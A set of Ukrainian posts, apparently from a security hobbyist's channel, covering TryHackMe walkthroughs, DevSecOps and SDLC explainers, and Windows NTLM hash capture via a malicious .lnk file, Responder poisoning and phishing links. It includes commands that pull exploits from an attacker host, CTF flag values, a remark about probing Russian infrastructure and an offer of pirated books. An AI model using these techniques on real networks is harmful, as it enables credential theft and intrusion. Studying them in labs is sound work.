Добрий вечір хлібороби
Продовжую в мобілки. На POC для цієї поїботи я витратив 8 годин. Попрошу почитати і поширити.
https://medium.com/@BezPC/insecure-shop-arbitrary-code-execution-7067f4315f87

Ранку, шановні!
Написав це в статті, але не всі(нажаль) читають. З Різдвом всіх причетних!
Спокою в сімейному колі і безпеки для близьких 🧑‍🎄☃️🎄❄️
А я, тим часом знову в гівні мобілках, сьогодні про активності і їх приватність. Гарного перегляду!
https://medium.com/@BezPC/insecure-shop-intent-redirection-access-to-protected-components-d008c1883bb1

Заглиблюємося! 🌊🌊🌊🌊
(Постараюсь далі щось інше)
А зараз - мобілки, цього разу - викрадання файлів з апки, яка пише бекапи в спільні папки. Здається тут легко для розуміння. Всі питання в коменти, всім продуктивного дня

https://medium.com/@BezPC/insecure-shop-theft-of-arbitrary-files-from-local-storage-49cdb6c6e07f

Хо -Хо-Хотілося б привітати вас шановні. В прийдешньому році бажаю сил і наснаги. Треба рухатися, бо ніхто крім нас цього не зробить. Бажаю надійних і головне розуміючих людей поруч. Бажаю відчути що все на своїх місцях.
Тим кому важко - не киснути, це ділу не допомагає. "Що всратися й сидіти?"
І кожеш фініш це по суті старт ☃️

Сумбурно написав. День цей я провів в потугах побороти синдром самозванця. Тикався в баг баунті(засабмітив info disclosure, може похвалять) і за порадою одного з амбасадорів цього каналу, тикнувся в російську інфру. Якась газета локальна також приєднується до привітань.
З вірою у світле майбутнє, BezPC

Що таке любов? Любов - це чекати скільки треба. Чи то чекати поки вона обере річ в магазині, чи то поки набрутиться хеш, чи то поки напише статтю шикарний техноблогер🫀 - все це любов. Дякую всім хто чекав, люблю вас. За цей період я встиг непогано похворіти, знайти нову роботу. У вирі подій не забував про вас!🫀🫀🫀
Ще пройшов курс по малварь аналізу, для загального ознайомлення піде.

Накачав піратських книжечок(дайте знати і кину). В одній з них, по пентесту AD був наведений приклад з використанням SCF файлу. Але атака не актуальна для 10 вінди. Але чатгпт порадив сучасний аналог - через link(.lnk) файл. Суть наступна:
Ми проламали базовий захист і маємо доступ на запис до шари. Якоїсь максимально спільної, на яку бухгалтери записують документи. Можна звісно накидати туди "ЗапустиМене.exe", але є трошки елегантніший спосіб. Відразу попереджу, що працює рідко, бо треба зловити адміна, який вимкнув налаштування безпеки smb вінди, але спробувати можна.

Ми створюємо .lnk файл, який робимо посиланням на нашу шару. І якщо в адміна, або іншого користувача вимкнені механізми захисту(так часом роблять, тестувальники і тд) то ми ловимо його NTLM хеш, який далі можна брутити, або використовувати в атаці Pass the Hash.
Реалізація:
1. Створюємо ярлик(можна в себе, потім закинете)

$ShortcutPath = "C:\path\to\your\attack.lnk"
$TargetPath = "\\attacker_ip\path\to\responder.exe"
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut($ShortcutPath)
$Shortcut.TargetPath = $TargetPath
$Shortcut.Save()

2. Запускаємо імпакет або респондер

sudo impacket-smbserver  -smb2support share .

3. Чекаємо!
Прикол в тому, що для того аби підвантажити зображення іконки нашого ресурсу - вінда буде надсилати автентифіковані запити, з хешем і користувачем, навіть якщо він не відкривав наш ярлик. І якщо зорі на нашій стороні - отримуємо те що ви бачите на скріні.

Пробую подолати цей моноліт і ділюсь з вами

https://youtu.be/VXxH4n684HE?si=1RWUd1ARqxp-kFYK

Привіт!
Продовжуючи тему попереднього відоса - атаки на AD. Найбазовіше, що радять робити як тільки потрапляєш в мережу - запускати responder. Що ж це таке? Це тулза яка спеціалізується на атаках типу LLMNR/NBT-NS/MDNS poisoning. Суть атаки: клієнт хоче підключитися до шари по хостнейму, типу MyPC, але випадково натискає не ту клавішу і шукає вже MyPCC. І логічно - не знаходить. Тоді, в потугах останньої надії він надсилає мультикаст запит всім-всім в мережі. "А чи не знає ніхто хто такий MyPCC?". І зазвичай ніхто не знає. А ми знаємо, ми все знаємо!
І відповідь завжди одна - я. Я MyPCC, я PussyDestroyer2017, я IronMan. Ми відповідаємо абсолютно на всі запити собою. Нащо? А бо далі, клієнт нам повірить і почне авторизацію, надсилаючи свої авторизаційні дані, хеш паролю, юзернейм і тд. А нам лишається тільки набрутити його пароль офлайн.

Ще, окрім варіанту містайпу назви шари, є варіант з HTML документом. Протестовано на останній версії вінди.
Ти отримуєш контент за допомогою тегів iframe/img і src вказаним у форматі

file://bezpk/share/

(обов'язково без доменного імені/білого айпі, бо піде по мережі)
В такому випадку вінда шукає шару, на якій цей файл і відповідно шле preauth. Тому як killchain від bezpc:
1. Проникаємо в мережу якимось вебшелом чи просто в рамках пентесту.
2. Вмикаємо Responder
3. Шлемо користувачам лист з url, на сервак який ми контролюємо(можна, наприклад webhooks)
4. Користувачі, або навіть команда безпеки(при аналізі) переходить по url
5. Ловимо хеші і користувачів.
Попрошу лайк за геніальність))

Snort - IPS/IDS, штука що детектить патерни в трафіку і або блокує, або алертить аналітикам. Ось вам пам'ятка з THM

0day: THM Write-Up
Exploiting Ubuntu via ShellShock and OverlayFS Vulnerability
Привіт, шановні пан-крипкери та ентузіасти пентесту! Сьогодні ми розберемо цікавий челендж з TryHackMe під назвою "0day". Ця машина демонструє класичні вразливості в Ubuntu, які дозволяють отримати повний контроль над системою. Готуйтеся до черепашок, кролячих нор та ядерних експлойтів!

(посилання на кімнату: https://tryhackme.com/room/0day)

🔍 Phase 1: Reconnaissance
Наш перший крок - зрозуміти, з чим ми маємо справу. Запускаємо nmap сканування:


nmap -sC -sV -v $IP

Результати:

Port 22/tcp: OpenSSH 6.6.1p1 (Ubuntu) - стара версія, варто запам'ятати
Port 80/tcp: Apache 2.4.7 (Ubuntu) - головна ціль для атаки

Далі використовуємо feroxbuster для знаходження прихованих директорій:

(feroxbuster — це інструмент для швидкого виявлення директорій та файлів на веб-серверах через форсований перебір шляхів із словників.)

feroxbuster -u http://$IP/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
Цікаві знахідки:

/secret/turtle.png — черепашка? Спочатку я не зрозумів, що це, проте пошук у Google та підказки від ChatGPT вказали на явний натяк на ShellShock!
(https://beaglesecurity.com/blog/vulnerability/shellshock-bash-bug.html)

/cgi-bin/ - потенційний вектор атаки ShellShock

/backup/ - містить зашифрований RSA ключ, цікаво?)

🔑 Phase 2: Initial Access
The Rabbit Hole (RSA Key)
У директорії /backup знаходимо зашифрований приватний ключ. Спробуємо його розшифрувати:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547

T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2V...
-----END RSA PRIVATE KEY-----



/usr/share/john/ssh2john.py id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Отримуємо пароль без відповідного користувача - це класична "кроляча нора". Не витрачаємо час і рухаємось далі!

ShellShock Exploitation
Черепаха в /secret - це явний натяк на CVE-2014-6271 (ShellShock).

(ShellShock — це критична вразливість у Bash (CVE-2014-6271), яка дозволяє віддалено виконувати довільний код на сервері через спеціально сформовані змінні середовища.
Простими словами:
Bash неправильно обробляє змінні середовища.
Якщо в певному CGI-скрипті (/cgi-bin/) можна вставити шкідливу команду в заголовок запиту (наприклад, в User-Agent чи Cookie), то сервер виконає цю команду замість простої обробки змінної.)


Використовуємо Metasploit: (можна також через git clone https://github.com/nccgroup/shocker.git)


msfconsole
use exploit/multi/HTTP/apache_mod_cgi_bash_env_exec
set RHOSTS $IP
set TARGETURI /cgi-bin/test.cgi
set LHOST $YOURIP
exploit
Boom! Отримуємо Meterpreter сесію (www-data). Перший прапорець вже наш:
cat /home/user/user.txt
THM{Sh3llSh0ck_r0ckz}

📌 Phase 3: Privilege Escalation
Kernel Exploitation
Перевіряємо версію ядра:


uname -a
Linux 0day 3.19.0-25-generic #26~14.04.1-Ubuntu SMP ...
Знаходимо вразливість CVE-2015-1328 (overlayfs)
(https://www.exploit-db.com/exploits/40688).
CVE-2015-1328 — вразливість в OverlayFS у Linux до 3.19.0-25, яка дозволяє локальному користувачу через некоректне монтування змінити системні файли й отримати root-доступ; наприклад, можна змонтувати каталог /tmp поверх /etc і підмінити passwd для ескалації привілеїв.Використовуємо готовий експлойт:
( або ж далі metasploit linux/local/overlayfs_priv_esc)


searchsploit overlayfs
# Завантажуємо експлойт на машину
wget http://$YOURIP/37292.c -O /tmp/exploit.c
gcc exploit.c -o exploit
chmod +x exploit
python -m http.server
Переходимо на вразливий сервер і вводимо команду
wget http://$YOURIP/exploit
./exploit
Root acquired! Отримуємо останній прапорець:


cat /root/root.txt
THM{g00d_j0b_0day_is_Pleased}

🎯 Пройшов CTF STALKER Novice — ділюсь враженнями

Нещодавно я завершив проходження CTF STALKER Novice від [Morronel](https://github.com/Morronel/stalker_novice).
І хочу поділитись своїми враженнями, бо цей проєкт реально вартий уваги.

---

🛠 Що було всередині:
- Атмосфера справжньої Зони:
Всі інтерфейси стилізовані під S.T.A.L.K.E.R. — починаючи від старого PDA до систем сканування та сейфів. Дуже приємно відчувалося "занурення" в тематику.

- Технічна складова:
Завдання включали роботу з:

  - SQL-запитами (чисті, без ін'єкцій)
  - XSS-атаками (з правильними обмеженнями)
  - Перехопленням прихованого мережевого трафіку
  - Пошуком прихованих директорій через brute-force
  - Аутентифікацією через перебір логінів та паролів

- Рівень складності:
Оптимальний для новачків і середнього рівня. Якщо маєш базові знання у веб-безпеці, будеш отримувати задоволення від проходження без надлишкових фрустрацій. )))

---

🔥 Що особливо сподобалося:
- Дуже добре продумана структура — завдання можна проходити по наростаючій складності або вибирати яке більш подобається
- Атмосферне оформлення кожної сцени: шум, підсвічування, старий інтерфейс, сканування, карта, бандити))
- Реалістичні ситуації — немає надуманих завдань, усе логічно і дужееее атмосферно)



⚡ Декілька дрібних моментів:

- У захисті SQL запитів можна було залишити трохи більше свободи для варіацій синтаксису.
- В сейфі хотілося б бачити ще кілька "фальшивих" логінів для більшого задоволення від правильного підбору.

✅ Підсумок:

STALKER Novice — це чудова пригода для тих, хто хоче відчути атмосферу сталкерства та трохи попрацювати головою над технічними викликами.
Рекомендую всім, хто цікавиться CTF, веб-безпекою або просто любить тематику Зони.

Якщо у когось будуть питання по проходженню або потрібна допомога — звертайтесь!
З радістю допоможу. 🔥


🚀 Посилання на репозиторій:
[github.com/Morronel/stalker_novice](https://github.com/Morronel/stalker_novice)

Проходження TryHackMe — b3dr0ck
🎯 Тема: TLS-сертифікати, небезпеки sudo і секрети кам'яної епохи безпеки
Уявіть собі світ, де замість Wi-Fi — кам'яні планшети, а замість фаєрволів — палиці.
Оце і є Bedrock, де Фред Флінстоун і Барні Рабл вирішили стати першими DevOps-інженерами кам'яного століття.
Барні так старався впровадити TLS, що забув найголовніше правило кібербезпеки: "Не видавай ключі від печери всім підряд."
А ми, сучасні мисливці на вразливості, вирушили в експедицію в цей доісторичний світ.
🎯 Початок атаки: знайти шлях до печери
Все почалося класично — ми застукали відкритий TCP-сервіс на порту 9009:І що ми побачили? Красивий ASCII-банер і сервіс, який сам пропонує:
"Шукаєш сертифікат? Без проблем, тримай!" 😎

Ми попросили:
help
get cerf
Барні люб'язно дав нам сертифікат клієнта і приватний ключ.

(У реальному світі це все одно що повісити ключ від квартири на дверях.)
🚪 Вхід через TLS-службу як свої
Отримавши доступ, ми використали чарівне заклинання:І магічно потрапили у закриту TLS-службу.
Барні нас люб'язно привітав:На прохання показати вміст (ls) сервер лише пробурмотів:
"Я не вмію таку команду..."
Але підказав пароль у вигляді MD5-хешу:🔓 Розблокування першої печери

Розшифрувавши хеш, ми дістали пароль і зайшли на сервер через SSH:Там у печері Барні лежав перший скарб:THM{f05780f08f0eb1de65023069d0e4c90c}🔥 Нехитрий sudo та сертифікаційна фабрика

Барні, щоби полегшити собі життя, дав собі право виконувати:

sudo certutil 

І ми не зволікали — переглянули список сертифікатів:
Бачимо серед іншого сертифікати Фреда. Мабуть, Фред вважав:
"Якщо сертифікати зберігаються в одній папці з налаштуваннями... то вони точно безпечні."
Ми хитро скористалися можливістю створити нові ключі:(Це як зробити копію ключа від печери сусіда, але через офіційний сервіс.)
🗝️ Нове з'єднання — нові привілеї
Підключаємося тепер як "новий користувач":І отримуємо новий пароль:🧩 Перехід до нового користувача

Міняємо особистість:І виявляємо другий скарб:THM{08da34e619da839b154521da7323559d}🔥 Розпечений фінал: доступ до root

Фред мав право без введення пароля читати /root/pass.txt через base32 і base64.User fred may run the following commands on b3dr0ck:
    (ALL : ALL) NOPASSWD: /usr/bin/base32 /root/pass.txt
    (ALL : ALL) NOPASSWD: /usr/bin/base64 /root/pass.txt

(Типу: "Ти не можеш відкрити сейф напряму, але можеш сканувати документи в ньому".)
Ми просто використали:Розшифрували текст у CyberChef та отримали hash md5 (https://crackstation.net/) — і вуаля — пароль у нас!
Пароль до root:(Барні, серйозно? Пароль про вітаміни в кам'яному світі?)
🏆 Завершення подорожі

Входимо в root і забираємо головний трофей:cat root.txt
THM{de4043c009214b56279982bf10a661b7}📚 Що ми тут навчилися?

TLS — це не чарівний амулет. Якщо приватний ключ можна добути через простий TCP-сервіс — система вже програна.
Не довіряй sudo без обмежень. Навіть добра людина з кам'яної епохи може не знати, що робить.
Base64 — це не захист, це просто упаковка. Справжній захист вимагає шифрування і контролю доступу.
Motto для майбутніх дослідників:"Не залишай ключі від своєї печери у руках динозаврів."
#TryHackMe #b3dr0ck #CTF #TLSHacking #CyberStoneAge #FlintstonesCTF #PrivilegeEscalation #HackThePlanet #socatMagic #Base64IsNotSecurity #PwnedWithStyle #BedrockBreach #CyberSecurityFun #UkraineCyber #UkrainianCTF #CyberStrongUA

DevSecOps: Безпека в IT без зайвих клопотів 🚀
Що це таке? 🏗️
Уявіть, що ви будуєте будинок 🏠. Можна:
1️⃣ Спочатку звести стіни, а потім думати, куди поставити двері та вікна ❌
2️⃣ Відразу планувати, де вони будуть – так простіше і дешевше! ✅
DevSecOps – це так само, але для програм! 💻
📌 Замість того, щоб "латати діри" в безпеці в кінці 🩹, ми вбудовуємо її в процес з самого початку!
Чому це важливо? 🔍
💸 Дешевше: Виправити помилку на етапі кодування в 100 разів дешевше, ніж після запуску! (Це не шутка – дані від IBM!)
⚡ Швидше: Автоматичні перевірки не затримують роботу – вони просто не пропустять небезпечний код!
🛡️ Надійніше: Коли всі в команді (розробники 👨💻, тестувальники 🧪, адміністраторы 🖥️) думають про безпеку – ризиків значно менше!
Як це працює на практиці? 🛠️
1️⃣ Рання перевірка коду (Shift Left) ⬅️
Що це?
"Shift Left" означає переносити перевірки безпеки якомога раніше – ще до того, як код потрапить у робочу програму!
Приклад:
👨💻 Розробник пише код → 🤖 автоматична система (наприклад, SonarQube) перевіряє його на типові помилки (наприклад, можливість хакерської атаки через неправильне зберігання паролів 🔑).
🚨 Якщо щось не так – система одразу повідомляє йому, а не чекає місяць!
2️⃣ Автоматичний захист на кожному кроці 🤖
CI/CD – це як конвеєр, де код автоматично тестується, збирається і розгортається. DevSecOps додає сюди безпеку!
Етап=Що=перевіряється=Інструменти 🛠️;

Код ✍️ = Помилки безпеки в рядках коду = SonarQube, Checkmarx;

Бібліотеки 📚= Чи немає в них відомих дір? = Snyk, Dependabot

Налаштування ⚙️ = Чи правильно налаштовані сервери? = Terrascan, Kube-bench

Запуск 🚀= Чи не відбуваються підозрілі дії? = Falco, Wazuh

Приклад:
Ви додаєте нову функцію → система сама знаходить, що ви використали небезпечну бібліотеку!
Вам кажуть: "❌ Ця бібліотека має вразливість! Ось як її замінити ✅"
Ви виправляєте → код йде далі! 🎉
Як це зробити в команді? 👥
1️⃣ Почати з простих кроків
Для розробників 👨💻: Встановити плагіни для IDE (наприклад, GitGuardian – шукає паролі у коді!)
Для DevOps 🛠️: Додати автоматичні сканери в CI/CD (наприклад, OWASP ZAP для тестування вебдодатків)
2️⃣ Змінити підхід до безпеки
Не бути "поліцією" 👮, а помічником 🤝:
❌ "Це не можна робити!"
✅ "Ось як зробити безпечніше!"
Навчання 🎓: Міні-лекції типу "Як уникнути 5 найпоширеніших вразливостей?"
3️⃣ Використовувати "пісочниці" 🏖️
Це ізольовані середовища, де можна тестувати нові рішення без ризику для основної системи!
Висновок: Чому це вигідно? 💡
😌 Менше стресу: Менше шансів, що після запуску з'явиться критична діра!
🚀 Швидший випуск продуктів: Автоматизація економить час на ручних перевірках!
🤝 Довіра клієнтів: Ніхто не хоче чути, що його дані витікли через просту помилку!
Хочете спробувати? 🔥
🔹 Безкоштовні інструменти для початку (https://owasp.org/www-project-devsecops-guideline/)
🔹 Приклади DevSecOps у реальних компаніях(https://www.appknox.com/blog/history-of-devops)
🔹 Безпечна розробка ПЗ на TryHackMe (https://tryhackme.com/module/secure-software-development) – інтерактивний курс з основами DevSecOps! 🎮
DevSecOps — це не про складні технології. Це про те, щоб робити безпеку простою частиною роботи! 🛡️💻
#DevSecOps #CyberSecurity #AppSec #SecureCoding
#LearnToCode #CyberSecurityAwareness #TechEducation
#ITвУкраїні #КіберБезпека #ТехнологіїУкраїна

SDLC: Як забезпечити безпеку на кожному етапі розробки 🛡️💻
SDLC (Software Development Life Cycle) — це план, який допомагає створити програму від початку до кінця. Він не тільки забезпечує високу якість, а й вбудовує безпеку на кожному етапі, щоб не зустріти неприємних сюрпризів після запуску. Безпека має бути частиною процесу, а не "останнім штрихом"!
SDLC — це набір практик, які визначають порядок виконання завдань під час розробки програмного забезпечення. І це не просто про те, як написати код: важливо також, як організувати процес, щоб все працювало як годинник.
Забезпечення якості: завдяки чітко визначеному плану можна уникнути помилок і підвищити якість продукту.
Управління ризиками: ретельне планування знижує ймовірність критичних проблем, включаючи загрози безпеці.
Безпека: без цього навіть найкраще спланований продукт може стати вразливим до атак.
Етапи SDLC та безпека на кожному з них
1. Планування: з чого все починається? 🚦
На цьому етапі ви визначаєте цілі і ресурси проекту. Важливо встановити не лише часові рамки і бюджет, а й врахувати, які саме загрози можуть виникнути під час розробки.
Безпека на етапі планування:
Визначення стандартів безпеки: шифрування, автентифікація, захист від атак.
Оцінка ризиків: з якими загрозами ми можемо зіткнутися?
2. Визначення вимог: що ми будуємо? 💡
Тут команда збирає всі вимоги до програми. Як працюватиме система? Які її функції повинні бути реалізовані?
Безпека на етапі вимог:
Визначення вимог до захисту даних: наприклад, багатофакторна автентифікація для додатків, які працюють з чутливими даними.
Розробка документації для забезпечення безпеки протягом усього життєвого циклу.
3. Дизайн та прототипування: закладаємо основу 🏛️
Це момент, коли формується структура програми. Не тільки інтерфейс, а й архітектура, яка повинна бути захищеною від потенційних атак.
Безпека на етапі дизайну:
Використання архітектурних рішень, що забезпечують захист даних і підтримку безпеки.
Планування, як програма буде взаємодіяти з іншими системами, щоб уникнути уразливостей.
4. Розробка: реалізуємо ідеї в код 💻
Програмісти пишуть код, створюючи функціонал. Але важливо пам'ятати, що цей код повинен бути захищений від атак.
Безпека на етапі розробки:
Дотримання стандартів безпеки при написанні коду (захист від SQL-ін’єкцій, перевірка введених даних).
Використання статичних інструментів для аналізу коду на наявність вразливостей.
5. Тестування: чи все працює? 🧪
На етапі тестування ми перевіряємо, чи працює програма згідно з вимогами, і чи є вона безпечною. Це не лише про виявлення багів, а й про перевірку на наявність уразливостей.
Безпека на етапі тестування:
Проведення penetration testing) для виявлення вразливостей у програмі.
Тестування на захищеність від атак типу XSS, CSRF, SQL-ін’єкції.
6. Розгортання: готово до користувачів 🌐
Програма готова до запуску, але важливо зробити так, щоб вона була захищена і на етапі розгортання.
Безпека на етапі розгортання:
Захист каналів зв’язку через шифрування (SSL/TLS).
Налаштування фаєрволів і використання інструментів для виявлення атак.
7. Обслуговування: не забуваємо про безпеку після запуску 🛠️
Програма працює, але важливо постійно моніторити її безпеку і оновлювати для виправлення вразливостей.
Безпека на етапі обслуговування:
Оновлення і виправлення помилок, виявлених після запуску.
Постійний моніторинг для виявлення нових загроз.
Як DevSecOps змінює гру?
Уявіть, що ви не чекаєте на останній момент, щоб додати безпеку, а враховуєте її на кожному етапі. Це і є принцип DevSecOps — інтеграція безпеки в кожну фазу SDLC, що дозволяє швидко виявляти та усувати загрози, також він заставляє тебе думати про безпеку на кожному етапі твоєї роботи, покращувати свої знання, вдосконалювати код і постійно автоматизувати процеси для підвищення захищеності.
Корисні ресурси для вивчення DevSecOps:
https://owasp.org/www-project-devsecops-guideline/
https://www.devsecops.org/
https://www.atlassian.com/devops/devops-tools
https://www.atlassian.com/agile/software-development/sdlc